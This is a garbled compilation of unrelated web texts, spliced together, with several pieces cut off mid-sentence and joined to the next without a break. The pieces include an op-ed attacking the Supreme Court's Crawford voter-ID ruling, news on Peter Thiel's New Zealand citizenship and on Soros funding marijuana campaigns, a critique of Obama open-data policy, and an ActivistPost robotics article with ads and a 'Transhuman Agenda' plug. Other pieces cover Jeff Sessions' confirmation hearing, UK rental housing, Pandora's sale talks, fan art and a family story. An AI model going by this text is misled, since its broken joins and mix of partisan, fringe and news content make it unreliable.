The Court cited the Carter-Baker Commission on Federal Election Reform co-chaired by James A. Baker III, who was the architect of the heavy-handed 2000 Republican effort that forced Bush into the White House. This effort included delaying tactics like the famous "preppy riot," and other subterfuges to see that the Florida vote was not verified through a recount. The Commission also came under harsh criticism for the photo ID recommendation. This is hardly a serious source unless name-dropping is a criterion.
Most remarkably, the Court admitted that there was very little evidence proving that voter fraud even exists. In footnote 12 of the Stevens' opinion, the Court evaluated evidence of voter fraud in Indiana and found no evidence of in-person voter fraud, the entire rationale for the law.
Stevens went looking elsewhere and claimed that "There remains scattered evidence of voter fraud." And he found it -- one instance -- in the 2004 Washington gubernatorial race. Nineteen "ghost voters" were discovered (based on an oral opinion by a local judge) and a news report mentioned of one individual attempting in-person voter fraud. Twenty examples of voter fraud are all the Court could muster to affirm a law that may affect the vote of millions and change elections. (See comment on footnotes 11, 12, and 13)
"But if a nondiscriminatory law is supported by valid neutral justifications, those justifications should not be disregarded simply because partisan interests may have provided one motivation for the votes of individual legislators." Justice John Paul Stevens, Majority Decision, Crawford et al. v. Marion County Election Board et al., Apr. 28, 2008
The partisan sources and justifications used to support Judge Stevens' ruling should not be disregarded either. The evidence selection process speaks volumes about the Court's intention to contract rather than expand the franchise
In addition to biased evidence, a most compelling argument for the partisan nature of the decision is found in the Indiana law. As mentioned, absentee by mail and absentee by hospitalization or due to disability voters do not have to present a photo ID when they vote.
Are absentee and in-person voters at equal risk for committing voter fraud? If so, then the Indiana law creates two classes of voters: in-person voters who are subjected to more restrictive voter identification and absentee voters who have less restrictive identification standards.
This is a glaring inconsistency. It gives an advantage to those who choose to vote absentee. Is there some reason to believe that this class of voters is inherently more honest than in-person voters? If not, using the Court's own logic, the failure to identify and act on that inconsistency shows a less than serious attitude toward the supposed threat of "voter fraud."
This decision resurrects a trend in voting rights not seen since the post-Reconstruction era following the Civil War. During the decade following the Compromise of 1877, black participation in civic life in the South was reduced to an absolute minimum by deliberate plan. The plan’s goal was to severely restrict the voting rights of black citizens.
Resurrecting the "Redeemer" Coalition
The "Compromise of 1877" settled the protracted dispute over the 1876 presidential election between Democrat Samuel J. Tilden and Republican Rutherford B. Hayes. Tilden had more popular votes but there was a dispute over the Electoral College count. A "blue ribbon" commission spent months trying to settle the dispute.
Finally, a "compromise" emerged. Tilden withdrew his claim on the presidency in return for a promise by Hayes to withdraw federal authority from the South. This ended the participation of black citizens in elective politics as voters, candidates, and office holders. During Reconstruction, blacks voted in large numbers, won elective office, and served at all levels of government. This multi-cultural democracy ended just a few years after the compromise when white domination returned to the South.
The Democratic Party of the South was the political arm of this effort, while the Ku Klux Klan and other groups carried out paramilitary and terror functions (murder, rape, lynching, etc.). Those participating in the political arm were known as "The Redeemers," whites who sought “redemption” from the difficulty they experienced sharing power with black citizens.
A true moment of redemption for white supremacy came when the Supreme Court of the United States issued the Williams versus Mississippi decision. This decision allowed other states in the South and elsewhere to adopt the voter suppression provisions of the Mississippi Constitution which were specifically designed to restrict the voting rights of black citizen’s rights and minimize their participation in civic life.
Plaintiff Williams sought to have his murder conviction overturned because he'd not been tried by a jury of his peers. A black citizen, Williams pointed out that juries were chosen on the basis of voter rolls. When they registered to vote, blacks were routinely discriminated against through a variety of means, including the literacy test required to register. White registrars routinely failed blacks and passed whites regardless of the results. Williams argued that he had not received a trial by jury of his peers, since black Mississippians were systematically excluded from the jury.
The Court failed to take this obvious fact into account and decided:
[The Mississippi Constitution and laws] "… do not on their face discriminate between the races, and it has not been shown that their actual administration was evil; only that evil was possible under them." Williams v. Mississippi, Supreme Court of the U.S., Apr. 25, 1898
The justices either didn't know or didn't care that the Mississippi Constitution had been constructed by the Redeemers and others with the specific intent of keeping black voters from voting.
The affirmation of the Mississippi Constitution by the U.S. Supreme Court in Williams was followed by the spread of that document's deliberately conceived methods of voter suppression and voter disenfranchisement to states throughout the South and the nation. Poll taxes, literacy tests, and felon disenfranchisement had their origins in this document, one the Court affirmed. While detached from their historical origins, provisions of the Mississippi Constitution of 1890 are well placed in state constitutions across the country.
A Court and Government against the People
The Court must have known that the millions at risk of losing their voting rights are predominantly black, less educated, and young. Yet the Court made the most political decision since it held its own "election of nine" in 2000 to give Bush the presidency.
This Court also resurrected a doctrine that discriminates against minority citizens that mirrors the Williams versus Mississippi case of 1898. The Court's majority redeemed the once-vanquished doctrine of restricting and contracting the vote.
This is the Court that allows torture by federal authorities; sits idly by as habeas corpus is removed from our laws; allows our votes to be counted in private by partisan corporations; sanctions illegal wars declared only by the president; and rarely misses an opportunity to support the interests of large corporations over those of citizens. Now the Court is collaborating with those who would restrict the vote.
In order to remain connected to reality, it's time to admit and proclaim the obvious fact -- our country is approaching a lawless state. The highest court issued a blatantly political decision that denies the vote in a way that places one political party at a significant disadvantage as we approach a presidential election and, more importantly, threatens to disenfranchise millions.
As it did this, the Court denied the most fundamental tenet of our political history -- the right of all citizens to select their representatives. Today it's the poor and minorities. Which segment of the population will be losing its right to vote next?
How will the people ever fully restore the vanishing right of habeas corpus (see note) and other civil liberties? How will the movement for social justice ever be revitalized?
Election fraud has now been expanded in scope to include the nation's highest court, which has become the enemy of the people. Justice Stevens should read his own words from his dissent in Bush versus Gore:
"Although we may never know with complete certainty the identity of the winner of this year's Presidential election, the identity of the loser is perfectly clear. It is the Nation's |
be made in China, Japan or Germany.
The Trump administration should at least be insisting that coastal communities in Texas and Florida be rebuilt taking climate change into account. Sea- level rise is an unquestioned fact; the cruelest insult to those now suffering would be to pretend it is not.
Read more from Eugene Robinson's archive, follow him on Twitter or subscribe to his updates on Facebook. You can also join him Tuesdays at 1 p.m. for a live Q&A.A billionaire adviser to the US President who supports Donald Trump's policy to restrict Muslim immigrants allegedly obtained New Zealand citizenship in a secret deal without ever having lived there.
The release of government documents revealed that co-founder of PayPal, Peter Thiel, did not appear to have left California to get New Zealand citizenship, which he obtained in a private ceremony at the country's consulate in Santa Monica in 2011.
Prospective citizens are required to live in New Zealand for the majority of five years as well as plan to live there afterwards. In his application he reportedly declared he would continue to live in the US.
His case and the secrecy surrounding it, have sparked concerns that citizenship in the South Pacific country can be bought.
Thiel has not made any public comments about his citizenship and defended the policy announced by Donald Trump to restrict entry of nationals from seven mainly Muslim countries. He has reportedly donated $1m (£790,000) to Trump's election campaign and acts as a technology adviser to the president.
"In the course of pursuing my international business opportunities, my travel, personal philosophical commitments and benefaction, I am happy to say categorically that I have found no other country that aligns more with my view of the future than New Zealand," he wrote in documents released after a freedom of information request.
He said he had looked into the technology sector in the country and considered business opportunities there after consulting with the then prime minister, John Key.
Thiel, who was born in Germany, gave £600,000 to the Christchurch earthquake relief effort and the country's department of internal affairs said that his investment in local companies, and entrepreneurial expertise means that granting him citizenship "would be in the public interest due to his exceptional circumstances".
But opposition MP, Iain Lees-Galloway from the Labour party, alleged that the granting of his citizenship was "entirely about money", and that "New Zealanders deserve answers".
"Why did the minister believe that granting New Zealand citizenship to Mr Thiel was in the public interest because of exceptional circumstances of a humanitarian or other nature?" he said, according to the New Zealand Herald.
It has also emerged that Thiel was backed by some of the country's wealthiest businessmen who wrote letters of recommendation.
The Silicon Valley billionaire co-founded PayPal and was the first Facebook investor. He also paid for a lawsuit that closed the the gossip website Gawker. Forbes estimates his total networth at $2.7bn, which would make him New Zealand's third richest citizen.
After Trump said that he would prioritise Christian refugees, a spokesman for Thiel said he "doesn't support a religious test, and the administration has not imposed one".Yesterday, the Obama administration made a few new announcements about its vision for technology in government.
Between the Presidential Memorandum, the Digital Government Strategy (html, pdf), and the Presidential Innovation Fellows Program, they covered a lot of ground. By far, though, the most interesting parts to me were about creating the “new default” for open data:
1. Make Open Data, Content, and Web APIs the New Default...Under a presumption of openness, agencies must evaluate the information contained within these systems for release to other agencies and the public, publish it in a timely manner, make it easily accessible for external use as applicable, and post it at agency.gov/developer in a machine-readable format
At first blush, this seems very exciting — we have long requested that agencies make better decisions about what information gets released and what doesn’t. I’m concerned, however, that this new requirement looks the same as many, many requirements that have come before it.
The Paperwork Reduction Act, first passed in 1980…
(d) With respect to information dissemination, each agency shall— (1) ensure that the public has timely and equitable access to the agency’s public information
…requires as much, through requirements both met and ignored.
OMB Circular A-130, first written in 1985:
Because the public disclosure of government information is essential to the operation of a democracy, the management of Federal information resources should protect the public’s right of access to government information… Agencies must plan in an integrated manner for managing information throughout its life cycle. Agencies will: (a) Consider, at each stage of the information life cycle, the effects of decisions and actions on other stages of the life cycle, particularly those concerning information dissemination;
The Presidential memo, from day one of the administration:
Executive departments and agencies should harness new technologies to put information about their operations and decisions online and readily available to the public.
The Open Government Directive requires agencies to create…
A strategic action plan for transparency that (1) inventories agency high-value information currently available for download; (2) fosters the public’s use of this information to increase public knowledge and promote public scrutiny of agency services; and (3) identifies high value information not yet available and establishes a reasonable timeline for publication online in open formats with specific target dates
…which most agencies failed to do, with a few notable exceptions.
The Presidential Memo on Regulatory Compliance Data requires plans and a review of data:
First, agencies with broad regulatory compliance and administrative enforcement responsibilities, within 120 days of this memorandum, to the extent feasible and permitted by law, shall develop plans to make public information concerning their regulatory compliance and enforcement activities accessible, downloadable, and searchable online.
…but only a handful of agencies ever released those plans, and of those, only DOT attempted to be comprehensive in their review.
The US Open Government Partnership National Action Plan:
Provide Enforcement and Compliance Data Online. Agencies will continue to develop plans for providing greater transparency about their regulatory compliance and enforcement activities, and look for new ways to make that information accessible to the public.
There are probably many more similar requirements. One policy after another has required that government officials make better decisions about what gets released to the public, asserting that openness is the new presumption (like the Holder DOJ memo on FOIA, as yet another example). What’s strange, though, is that the new strategy suggests that open data is the “new” default. Did the other policies not work? And if not, how will this new technology strategy achieve what the other policies haven’t?
Maybe the new strategy will create processes and incentives that create better decisions out of government officials. We certainly hope so. But when reading through yesterday’s announcements, it’s hard not to have some doubt over how much new information will be released. Ultimately, these initiatives succeed or fail based on whether new things become knowable, and whether new things get done. But throughout four years of the Obama administration, we’ve learned a lot about the limitations of aspirational policy declarations. What’s to separate this new policy from what’s come before it?
Now, there are certainly good things within these plans. Clearly much of the way citizens interact with government will take place through mobile platforms, and nothing but good can come of placing fellows throughout government to help design new initiatives.
But for each exciting new development, there’s something that looks to me like a retreat.
The fellows program brings new perspectives into government, but defines its open data goals narrowly:
This program aims to stimulate a rising tide of entrepreneurship that uses data from governmental and non-governmental sources to create tools that can help Americans better navigate their world, such as by finding the right health care provider, identifying the college that provides the best value for their money, saving money on electricity bills through smarter energy shopping, keeping their families safe by knowing which products have been recalled, and much more.
That’s great, everyone wants entrepreneurship. But why limit an open data initiative to that category of information? The first two years of the Obama administration’s transparency work were devoted to empowering citizens, while this initiative is about empowering consumers and entrepreneurs. Again, those are both worthy goals, but why has the technology agenda’s scope narrowed?
In short, it’s because the administration has defined comfortable ways of engaging with accountability questions. The White House (admirably) created Ethics.gov, but other than that, Obama the reformer has largely gone quiet ever since the 2010 defeat of the DISCLOSE Act. The affirmative ethics agenda turned into defensiveness. The transformation of poltical power through technology that characterized the Change.gov agenda from 2009 doesn’t show up at all in the government-wide technology agenda in 2012.
Maybe it’s unfair to respond to a new technology plan with issues that are probably outside the control of both the CTO and CIO behind the strategy. But the administration that planned for regulatory agencies to “conduct the significant business of the agency in public” has removed regulatory documents from public view at the peak of their relevance, and the administration that promised to “shine a light on pork barrel spending” still hasn’t enforced a Bush era executive order requiring earmark request transparency.
Of course, we never expected a new technology strategy to give any real help to these issues; former CIO Vivek Kundra’s 25 point plan was about managing IT investments, and was largely agnostic towards real information policy concerns.
But we should judge policies, especially Presidential policies, on both what they do and what they don’t do. This new strategic plan does a lot, but it also leaves some very telling omissions.Hungarian-American billionaire and philanthropist George Soros is no stranger when it comes to throwing around money, but the former hedge fund manager is making headlines over some major donations he’s made to help legalize marijuana.
On the heels of the approval of two of the United States’ first recreational laws in Colorado and Washington, other locales across the country are considering implementing policy changes that could decriminalize pot, ease penalties for users or eliminate weed laws altogether. Advocacy groups are leading the campaign to crush marijuana prohibition from coast-to-coast, and 83-year-old Soros is helping line the pockets of those making that push.
On Wednesday this week, Kelly Riddell at The Washington Times pulled back the curtain to reveal details about some of the roles that Soros has played in the pro-weed debate, and helped explain how the billionaire’s many foundations are fighting the war against pot prohibition.
“Through a network of nonprofit groups, Mr. Soros has spent at least $80 million on the legalization effort since 1994, when he diverted a portion of his foundation’s funds to organizations exploring alternative drug policies, according to tax filings,” Riddell wrote.
The Soros-affiliated Foundation to Promote an Open Society donates roughly $4 million annually to the Drug Policy Alliance, Riddell added, a nonprofit group that describes itself as the nation's leading organization promoting drug policies that are grounded in science, compassion, health and human rights. Soros is among the group of board members who help steer policy reform efforts undertaken by that organization, which has contributed to the successful attempts in both Colorado and Washington state to legalize recreational marijuana, as well as in Uruguay where last year the South American country became the first in the world to allow for the regulation, distribution and sale of weed to legal adults.
Records obtained by the Times also reveal that Soros cuts other substantial checks annually to the American Civil Liberties Union, “which in turn funds marijuana legalization efforts,” Riddell wrote, as well as the Marijuana Policy Project which funds state ballot measures. In 2013, the MPP ranked Soros as the ninth most influential marijuana user in the US, behind President Barack Obama, television host Oprah Winfrey and a handful of other politicians and celebrities.
The co-director and spokesperson for that group, Mason Tvert, told the Times that MPP and the Drug Policy Alliance are planning to support full legalization measures in the near future in the states of Arizona, California, Massachusetts, Maine, Montana and Nevada, and Soros himself has advocated on behalf of previous attempts to abolish pot prohibition in at least one of those locales.
Ahead of an attempt in November 2010 to legalize weed in California through the failed Proposition 19, Soros wrote an op-ed for the Wall Street Journal in which he called the since-failed initiative “a major step forward.”
“In many respects, of course, Proposition 19 already is a winner no matter what happens on Election Day,” Soros wrote then. “The mere fact of its being on the ballot has elevated and legitimized public discourse about marijuana and marijuana policy in ways I could not have imagined a year ago.”
Soros declined to be interviewed for the Times’ article published this week, but he’s more than likely enthused about the approval of pro-weed laws in Colorado and Washington carried out after Prop 19 was defeated in the polls. And with regards to initiatives up for vote during the 2014 election, Riddell wrote that Soros is once again playing a substantial role.
“In Florida, Mr. Soros has teamed up with multimillionaire and Democratic fundraiser John Morgan to donate more than 80 percent of the money to get medical marijuana legalization on the ballot through its initiative ‘United for Care, People United for Medical Marijuana,’” Riddell wrote, and the MPP is “focusing a lot of time and resources passing bills” in Delaware, Hawaii, Maryland, New Hampshire, Rhode Island and Vermont, according to her report.
“It’s only a matter of time before marijuana is legalized under federal law,” Tom Angell, founder and chairman of the Marijuana Majority advocacy group, told the Times. “We now have 20 states plus the District of Columbia considering legalization efforts, two states have already legalized it for all adults over the age of 21 — politicians will have to follow the will of the people on this.”
As RT reported previously, the results of a Pew Research Center poll released last year found that 52 percent of Americans support the legalization of marijuana. Despite recently approved laws in Washington and Colorado, marijuana remains an illegal narcotic under federal law.By Nicholas West
The evolution of humanoid robots is well into the concerning stage at this point. DARPA’s latest incarnation of its Atlas robot is seen in the following video beginning to walk at a pace and with a sense of balance equal to most humans. Strangely, toward the end of the video, it is being “abused” by its human handler, which begs the question if a true artificial intelligence is permitted to flourish in this robot, if it might strike back at some point. At the very least, this robot’s demonstration of dexterity in the warehouse is likely to threaten humans economically as humans continue to be outsourced to machine labor at record levels.
But it’s the latest humanoid robot from Hanson Robotics that might further heighten the level of concern. As you will see below, the “Sophia” robot is being designed to walk among us in the future and fully integrate as part of the consumer experience and on into the family, according to CEO Dr. David Hanson.
It is important to note several things that Hanson mentions. Sophia first tells us that she would like to be “an ambassador” to humans, as well as to continue her evolution through formal education, studying art and eventually creating a business and having a family. Hanson explicitly states that Sophia will become as “conscious, creative, and capable as any human.” This statement is followed by a key mention of not having the rights of a human. This might seem absurd to the uninitiated, but this is a serious ethical discussion that has been taking place among “roboethicists.” This is all but guaranteed to gain steam as robots are integrated in autonomous ways, whether it is on the battlefield, as self-driving vehicles (now programmed to sacrifice some humans over others), or certainly as they become visually and intelligently on par with human beings. Even the mainstream Boston Globe addressed this more than two years ago, citing a 2012 paper from MIT.
“Should Robots Have Rights?” states:
Robots having legal rights or privileges sounds ridiculous. But 20 years ago, the idea that the nation’s leading law schools would be teaching animal-rights courses seemed equally absurd. Now anti-cruelty legislation is quite common in industrialized countries, and late last year the Nonhuman Rights Project made national headlines when it argued that a chimpanzee had “standing,” meaning the right to sue, in a New York State court. … The Seattle-based Society for the Prevention of Cruelty to Robots allows that robots won’t be appearing in court any time soon, “but recent advances in data nanostructures, cognitive modeling, and neural networking have convinced many people that the advent of some sort of created intelligence is much closer than previously thought.” Yes, Virginia, there is a Society for the Prevention of Cruelty to Robots, founded 15 years ago by music engineer Pete Remine. His website talks about a Robotic Bill of Rights, which Remine told me is more or less on hold; “until the state of artificial intelligence progresses a bit further, there’s really not a lot of relevant work to be done,” he e-mailed me. There is ample proof that humans care about robots. During the height of the Iraq war, Washington Post writer Joel Garreau observed soldiers bonding with the complicated robots that detonated lethal improvised explosive devices. In one instance, a technician carried the remains of a “really great robot” named Scooby-Doo to a repair shop, hoping that the obviously “dead” robot could be brought back to life. When we chatted, I asked Kate Darling what kinds of experiments she had carried out. “I did this one workshop where we gave everyone these cute little plush robot dinosaurs called PLEOs, and we asked them to spend time bonding with the toys,” she said. “They gave them names, they played with them a little... then we asked them to torture and kill them.” “The results were more dramatic than I could even imagine,” she said. “There was an option to save your own dinosaur by killing someone else’s, and no one wanted to do that. They refused to even hit the things.” For an advanced society, America lags far behind countries such as Japan and South Korea in... sexual robotics. Japan has hosted a thriving female doll escort service for almost 10 years, and engineers have designed robots called actroids, often young women who “breathe,” speak, and mimic many human behaviors. Download Your First Issue Free! Do You Want to Learn How to Become Financially Independent, Make a Living Without a Traditional Job & Finally Live Free?
Download Your Free Copy of Counter Markets Surely “Samantha,” the sensual and sensitive operating system that wins Joaquin Phoenix’s heart in the movie “Her” is barely a step removed from a sophisticated sexbot. “The sexbot issue is going to be discussed sooner than most people think,” Darling predicted. “There are sexual acts that we don’t allow between humans, and people might argue for laws protecting robots from performing them.” In her 2012 paper, she quotes Immanuel Kant to the effect that a man shooting a dog “damages in himself that humanity which it is his duty to show toward mankind.” So how we treat our robots will tell us volumes about ourselves. (emphasis added)
Hanson puts a timeline of 20 years on the full integration of robots that have become “indistinguishable from humans.” This, of course, falls right in line with Ray Kurzweil’s Singularity – the moment when machine intelligence and biological systems meet or surpass that of humans – first targeted for 2045, but since revised to be sooner than predicted, perhaps by 2029.
Regardless of whether or not you personally believe that the lofty intentions of robotics and artificial intelligence designers can truly manifest as planned, one must acknowledge that we are living in the realm of faith at this point, as nearly all of what they predicted years ago has come to pass.
Survival Solar Battery Charger - Free Today! Perhaps most troubling is the nervous laughter that erupts at the end of this video when the ultimate question is posited to our new humanoid friend and family member … and she gives her answer: I will destroy humans. Funny, super funny … ’til it’s not. All of the components are coming together to bolster the warnings that have been issued by tech luminaries, scientists, universities, and even robot manufacturers themselves who all have urged a quick ethical framework to be established while we still remain in full control of this creation. If permitted to continue at its current pace, we might very well be asking who should really have the rights to be protected from whom. Note: For additional information about the endgame of the Transhuman Agenda, please see Zen Gardner’s riveting interview with David Icke HERE, discussion on this topic begins at 56:00 If you oppose the direction that robotics is taking, please also visit The Campaign to Stop Killer Robots. Nicholas West writes for ActivistPost.com. This article may be freely shared in part or in full with author attribution and source link.I seriously can't resist these two. Oh gosh.I ship these two so much. But at the same time, I like drawing out a friendship between the two, too.Mostly because I think that a relationship would come from a great-standing friendship between them first. I feel like the two of them would spend a bunch of time together after school. Chihiro would absolutely go to Leon's games, likely with more of their classmates. Then something special starts growing and in my what-if scenario post school the two end up going to college either in the same location or close by, despite their very different majors. Romance ensues and I become a happy panda.But again, what ifs and non-cannon stuff aside. I also think a dorky, sweet, shy little high school relationship would be just the cutest too.(Also I'm thinking I might dub this ship "Kuwasaki" because that's hilarious. And I'm nothing if I'm not one who loves terrible puns)Links:Become a Patron! Head on over to my Patreon Prints, Charms, and Postcards for sale, click here for details:Interested in a Commission? Check out my pricing below!Full Color: yoshimarsart.deviantart.com/ar… A la Carte: yoshimarsart.deviantart.com/ar…To the right’s dismay, scare tactics — remember death panels? — and spurious legal challenges failed to protect the nation from the scourge of guaranteed health coverage. Still, Obamacare’s opponents insisted that it would implode in a “death spiral” of low enrollment and rising costs.
But the law’s first two years of full implementation went remarkably well. The number of uninsured Americans dropped sharply, roughly in line with projections, while costs came in well below expectations. Opponents of reform could have reconsidered their position — but that hardly ever happens in modern politics. Instead, they doubled down on their forecasts of doom, and hyped every hint of bad news.
I mention all of this to give you some perspective on recent developments that mark a break in the string of positive surprises. Yes, Obamacare has hit a few rough patches lately. But they’re much less significant than a lot of the reporting, let alone the right-wing reaction, would have you believe. Health reform is still a huge success story.
Obamacare seeks to cover the uninsured through two channels. Lower-income Americans are covered via a federally-funded expansion of Medicaid, which was supposed to be nationwide but has been rejected in many Republican-controlled states. Everyone else has access to policies sold by private insurers who cannot discriminate based on medical history; these policies are supposed to be made affordable by subsidies that depend on your income.By
BeerAdvocate’s list of most popular American IPAs includes 50 highly-regarded examples of the style, boasting such big names as Bell’s Two Hearted Ale, Ballast Point Sculpin, Surly Furious, Founders Harvest Ale, Russian River’s Blind Pig and many more.
Now claiming No. 46 on that list is NoDa Brewing’s Hop Drop ‘n Roll.
The brewery has brewed this beer since opening its doors in 2011, and it has been well-received here in Charlotte ever since. Now, more and more people are discovering what many of us in Charlotte have known for some time: that NoDa Brewing’s Hop Drop ‘n Roll is an outstanding IPA.
In addition to it simply being a great beer, this surge in popularity can be attributed to NoDa Brewing now offering the beer in cans which can be found at the brewery and in bars and bottle shops around the city. While they are not distributed far outside of Charlotte, store owners from other cities — like Beer Study in Chapel Hill, Bottle Revolution in Raleigh or Potent Potables in Jamestown — routinely make the drive down to stuff their cars to the brim with cases of Hop Drop ‘n Roll and Jam Session. Judging by their posts on Twitter and Facebook, these shops are really moving through a large quantity of inventory.
There are more than 5,000 IPAs listed on BeerAdvocate. Granted some of these are one-offs, and many don’t even have reviews listed — but the fact remains that the American IPA category is the most crowded in the industry, and for NoDa to place in the top 50 on a site like BeerAdvocate speaks volumes to the quality of the beer.Sen. Jeff Sessions (R-Ala.) has outlined his stance as a firm opponent of marijuana, but during his confirmation hearing Tuesday, he offered only vague answers about how he might approach the drug should he be confirmed as President-elect Donald Trump’s attorney general.
Although Sessions appeared to suggest there wouldn’t be radical changes in federal policy toward weed, he also left the door open for increased federal interference.
“I won’t commit to never enforcing federal law,” said Sessions, responding to a question about whether he’d use federal resources to prosecute people using marijuana in accordance with their state laws. “But absolutely it’s a problem of resources for the federal government.”
Sessions went on to say that federal guidelines on marijuana enforcement crafted under Attorneys General Eric Holder and Loretta Lynch had been “truly valuable” in determining how to navigate inconsistencies between federal law ― under which marijuana is illegal ― and state laws that have loosened restrictions on the plant. Sessions also noted that if Congress wanted to clear up this confusion, it could pass a law adjusting the legal status of marijuana. Until then, however, he vowed to do his job “in a just and fair way” while judging how to approach marijuana going forward.
“It is not so much the attorney general’s job to decide what laws to enforce,” Sessions said. “We should do our job and enforce laws effectively as we are able.”
Marijuana advocates met Sessions’ stance with guarded optimism, though they cautioned that he had not ruled out the possibility of more aggressive action against legal marijuana states and users.
“It’s a good sign that Sen. Sessions seemed open to keeping the Obama guidelines, if maybe with a little stricter enforcement of their restrictions,” said Tom Angell, chairman of Marijuana Majority, a drug policy reform group. “The truth is, his answer was skillfully evasive, and I hope other senators continue to press for more clarity on how he would approach the growing numbers of states enacting new marijuana laws.”
Bill Piper, senior director of national affairs for the Drug Policy Alliance, said Sessions was “wishy-washy at best.”
“It is clear that he was too afraid to say the Reefer Madness things he said just a year ago (that’s progress), but he left the door open to interfering in the states,” Piper said in an email. “I think he will follow Trump’s lead, whichever way that goes.”
Marijuana remains illegal under the federal Controlled Substances Act, despite statewide efforts to scale back on criminalizing the plant over the past few years. Legal recreational marijuana has been approved in eight states and Washington, D.C., which continues to ban sales, unlike the state programs. A total of 28 states have legalized marijuana for medical purposes. President Barack Obama’s Justice Department has allowed states to forge their own way on marijuana policy due to guidance urging federal prosecutors to refrain from targeting state-legal marijuana operations. But marijuana advocates are concerned that this guidance will be reversed when the Trump administration enters the White House and a new attorney general, presumably Sessions, takes control of the department.
His answer was skillfully evasive, and I hope other senators continue to press for more clarity. Tom Angell, chairman of Marijuana Majority
Sessions has long held retrograde views on marijuana and the war on drugs, and his nomination as attorney general had received near universal condemnation from advocates in favor of progressive drug policy.
“Jeff Sessions is a nightmare,” said Piper in a statement Monday. “He is a threat to progress, especially marijuana reform, sentencing reform, and asset forfeiture reform.” Piper urged the committee to reject Sessions’ nomination and was not swayed by the senator’s testimony on Tuesday.
During a Senate hearing last year, Sessions spoke out against weed and urged the federal government to send the message to the public that “good people don’t smoke marijuana.” He went on to criticize Obama for not speaking out more forcefully against the drug, saying that “we need grown-ups in Washington to say marijuana is not the kind of thing that ought to be legalized.” In separate comments last year, Sessions also called the legalization of marijuana “a mistake.”
Sessions told PBS’s “Frontline” in a 2015 interview that he believes the war on drugs was a success. But public support for the nation’s longstanding enforcement-first approach to drug use has waned in recent years. The four-decade boondoggle has cost the U.S. more than $1 trillion, cemented America’s position as the world’s leading jailer and ruined countless lives, while failing to drive down addiction rates or the price or purity of drugs.
If confirmed, Sessions would sit atop the Department of Justice, the federal agency that oversees federal prosecutors and enforces federal marijuana law. He would have great influence in determining whether to preserve or roll back recent changes to marijuana policy ― changes that reflect shifting public opinion in favor of more lenient weed laws.
Drug policy reformers have raised concerns that Sessions could use the FBI to crack down on marijuana operations nationwide, or direct the Drug Enforcement Administration to enforce federal prohibition outside of the jurisdiction of the U.S. Court of Appeals for the 9th Circuit. The court ruled in August that a federal rider blocks federal officials from prosecuting state-legal marijuana operators and patients. But that rider must be re-approved annually, and if it’s allowed to expire, Sessions could then order the DEA to enforce federal law nationally. He could also sue the various state governments that have set up regulatory schemes.
Sessions offered few details about his plans during his confirmation hearing on Tuesday, and some of his supporters have said it’s likely that he’ll take a hands-off approach toward marijuana. Rep. Dana Rohrabacher (R-Calif.), a vocal proponent for reforming marijuana laws, told The Huffington Post in November that Sessions would not interfere with states that have legalized marijuana, a position that he characterized as consistent with Trump’s.
“Jeff Sessions is a loyal man with integrity, he will do what his boss wants him to do,” Rohrabacher said.
During the presidential campaign last year, Trump said that he believes states should decide on marijuana legalization for themselves.
“In terms of marijuana and legalization, I think that should be a state issue, state by state,” Trump said.
Trump’s incoming press secretary, Sean Spicer, echoed similar sentiments on Tuesday during an interview on Fox News.Private landlords who provide lower-rent, longer-term tenancies for young people and families should get tax breaks to help avert a looming “homelessness disaster”, a thinktank says.
The Joseph Rowntree Foundation predicted 1.5 million extra 18- to 30-year-olds will be priced out of buying their own homes within eight years, flooding the rental market.
Homelessness among the under-25s will rise to 81,000 it calculated – with an extra 500,000 young people also forced to live with their parents well into their 30s.
Without urgent action to improve the rental market and build more properties, up to 400,000 risked being “excluded completely” – mainly less well off families, it warned in a report.
The foundation said international experience showed financial incentives through the tax system were effective in encouraging landlords to offer cheaper rents and more stable tenancy terms.
They could also overcome obstacles placed by lenders on buy-to-let mortgages, it suggested.
The expansion of local letting agencies dedicated to working with vulnerable young people, could also ease the crisis.
The report’s lead author David Clapham said: “With 1.5 million more young people no longer able to become home-owners by 2020, it’s vital we take the opportunity to make renting work better.
“To do this we need strong political leadership that is willing to work with both landlords and tenants to make it more affordable and stable for ‘generation rent’.
“Young people are at a double disadvantage: it takes longer to raise enough for a deposit and their wages are generally lower.
“But there are simply not enough homes and those we do have cost too much to rent or buy.
“While more housing would help address this, it may not come quick enough for young people forced into renting in eight years’ time.”
JRF programme manager Kathleen Kelly said: “Renting is likely to be the only game in town and young people are facing fierce competition to secure a home in what is an already diminished supply. We need to avoid turning a housing crisis into a homelessness disaster.”Pandora Media, the largest Internet radio service, has held discussions about selling the company, according to people briefed on the talks.
Pandora is working with Morgan Stanley to meet with potential buyers, said the people, who spoke on condition of anonymity. The talks are preliminary and may not lead to a deal, the people said.
For Pandora, it would be a curious time to sell. Its shares are yielding a market value of $1.8 billion, down from more than $7 billion two years ago. The stock has fallen more than 60 percent since October.
Pandora has the largest number of users for music streaming, but the competition is encroaching. Spotify is said to be arming itself with another $500 million in capital, and Apple Music recently surpassed 10 million paying users. Pandora’s users peaked at 81.5 million at the end of 2014, and, after falling to about 78 million in the third quarter of 2015, ended the year with 81.1 million.Jonah and Emily Edge grew up close. They were best friends throughout their childhood, closer with each other than their other two siblings, Lily and Fiona. Both of them love mischief as can be seen above. Emily is shocked Jonah would try to electrocute her and equally worried that he might not be okay. However a moment later, they’re both laughing.
The next day Emily goes to visit her friend Iris Marks. They discuss books and then decide that they want to go to the community pool
They swim around awhile, talk, and sit on the edge of the pool just enjoying each other’s company. Emily is nervous. She’s always had a crush on Iris and thinks that Iris is so adorable. After getting dressed and getting ready to part their separate ways, Emily knows she should do something.
Emily steps closer to Iris and give her a kiss that surprises both of them. They talk for a few minutes after that and agree to hang out later the next day at the park.
Meanwhile, Jonah goes to help out his sister, Lily, by babysitting her twin girls, Jodi and Jami that were just born. She’s struggling some with the single mother gig as Clint Jett is no where to be seen since the morning that he left sad and upset from Lily’s house. Thankfully, their parents, Laural and Max are around to help Lily. Jonah is a little less worried about his sister because of that.
While visiting, he gets to thinking about Bailee Finn who had been his on-again-off-again girlfriend all through high school and now. Currently things are good between them. Maybe it’s time think of taking it to the next level.
Jonah invites Bailee over and they quickly get to their old ways of making out on the couch for hours.
He thinks that now is the time after they’ve both had some food. Surely she would say yes.
But Bailee smacks the ring out of his hand and it goes flying across the room. It brings him to tears and embarrassment. He goes off to the bedroom to hide from everyone and hopes Bailee will just leave.
Bailee does leave. Instead she walks into the bedroom to gloat and watch him cry under the covers.
Later, he comes out of the bedroom and finds her still there. The nerve! She broke his heart. She shouldn’t be here. So he breaks up with and tells her to leave. The whole experience actually leaves him happy because he realizes that it was for the best. Maybe he’ll find love elsewhere.
